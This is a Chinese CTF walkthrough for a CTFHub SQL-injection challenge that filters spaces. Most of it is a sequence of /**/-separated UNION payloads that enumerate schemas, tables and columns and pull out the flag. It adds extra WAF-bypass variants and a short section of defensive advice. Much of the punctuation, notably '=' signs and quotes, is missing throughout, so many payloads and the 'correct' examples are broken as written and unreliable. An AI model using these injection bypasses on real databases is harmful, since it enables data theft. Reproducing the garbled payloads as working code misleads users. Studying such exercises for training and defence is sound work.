CTFHub过滤空格注入实战手把手教你用/**/绕过WAF拿到Flag在CTF竞赛中SQL注入始终是Web安全方向的热门考点。当遇到过滤空格的题目时许多新手选手往往会陷入思维定式不知如何突破防线。本文将带你从零开始通过CTFHub平台上的过滤空格题目掌握用注释符/**/替代空格的实战技巧并深入剖析Payload构造的底层逻辑。1. 环境准备与初步探测首先访问CTFHub提供的题目页面通常会看到一个简单的查询接口。我们尝试输入基础测试参数http://challenge-address/?id1页面正常显示后开始注入测试。传统SQL注入会使用空格分隔关键词and 11但此时页面返回Hacker提示说明WAF已拦截包含空格的请求。这是典型的空格过滤场景我们需要寻找替代方案。提示现代WAF通常采用正则表达式匹配\s来过滤空格但注释符/**/往往不在检测范围内。2. 注释符绕过技术解析MySQL支持多种注释语法在绕过过滤时各具特色注释类型示例适用场景/**///AND//11通用空格替代/!//!50000AND/11版本特定执行#AND 11#行尾注释--AND 11--需URL编码为--通过测试发现/**/在本题目中最稳定有效。构造第一个验证Payload?id1/**/AND/**/1/**//**/1当页面正常返回时确认注入点存在且注释符绕过有效。接着测试假条件?id1/**/AND/**/1/**//**/2观察页面差异确认存在布尔型注入特征。3. 系统化注入流程实战3.1 确定字段数量使用ORDER BY子句逐步探测从低位开始测试?id1/**/ORDER/**/BY/**/1--逐步增加数字直到页面报错?id1/**/ORDER/**/BY/**/3--当ORDER BY 3返回错误时确定字段数为2。3.2 联合查询定位回显点构造UNION SELECT查询注意NULL值的使用?id-1/**/UNION/**/SELECT/**/NULL,NULL--若页面显示异常尝试将NULL替换为数字?id-1/**/UNION/**/SELECT/**/1,2--观察页面何处显示1或2即为可回显位置。3.3 数据库信息收集通过version()和database()函数获取基础信息?id-1/**/UNION/**/SELECT/**/1,version()-- ?id-1/**/UNION/**/SELECT/**/1,database()--在CTFHub环境中通常会得到类似以下信息数据库版本MariaDB 10.3.22当前数据库名sqli3.4 数据爆破完整流程枚举所有数据库?id-1/**/UNION/**/SELECT/**/1,group_concat(schema_name)/**/FROM/**/information_schema.schemata--列出目标数据库表?id-1/**/UNION/**/SELECT/**/1,group_concat(table_name)/**/FROM/**/information_schema.tables/**/WHERE/**/table_schemasqli--获取表字段结构?id-1/**/UNION/**/SELECT/**/1,group_concat(column_name)/**/FROM/**/information_schema.columns/**/WHERE/**/table_schemasqli/**/AND/**/table_namelrfbovgrtq--提取最终Flag?id-1/**/UNION/**/SELECT/**/1,group_concat(ntzwkdyzie)/**/FROM/**/sqli.lrfbovgrtq--4. 高级绕过技巧与防御策略4.1 备选绕过方案当/**/被过滤时可尝试以下替代方案括号包裹法(union)(select)(1,2)特殊空白符%a0UNION%a0SELECT%a01,2内联注释/*!UNION*//*!SELECT*/1,2换行符UNION%0ASELECT%0A1,24.2 开发者防御建议对于Web应用开发者推荐采用多层防御策略预处理参数化查询# Python示例 cursor.execute(SELECT * FROM users WHERE id %s, (user_id,))WAF规则强化过滤/\*.*?\*/正则模式检测非常规空白符(%a0, %0A等)最小权限原则数据库账户仅授予必要权限禁用information_schema的公共访问5. 实战中的常见误区新手在解题过程中容易陷入以下陷阱注释符嵌套错误错误示例/*/**/UNION/*/**/SELECT*/1,2正确写法/**/UNION/**/SELECT/**/1,2URL编码问题空格应编码为%20或单引号需编码为%27布尔逻辑混淆错误1/**/2语法错误正确1/**//**/2字段数判断失误避免直接猜测大数字应从低位逐步测试在最近一次线下CTF比赛中有队伍因忽略URL编码导致Payload失效最终通过以下修正获得成功?id1%2f**%2fAND%2f**%2f1%2f**%2f%2f**%2f1这种对细节的把握往往是取胜关键。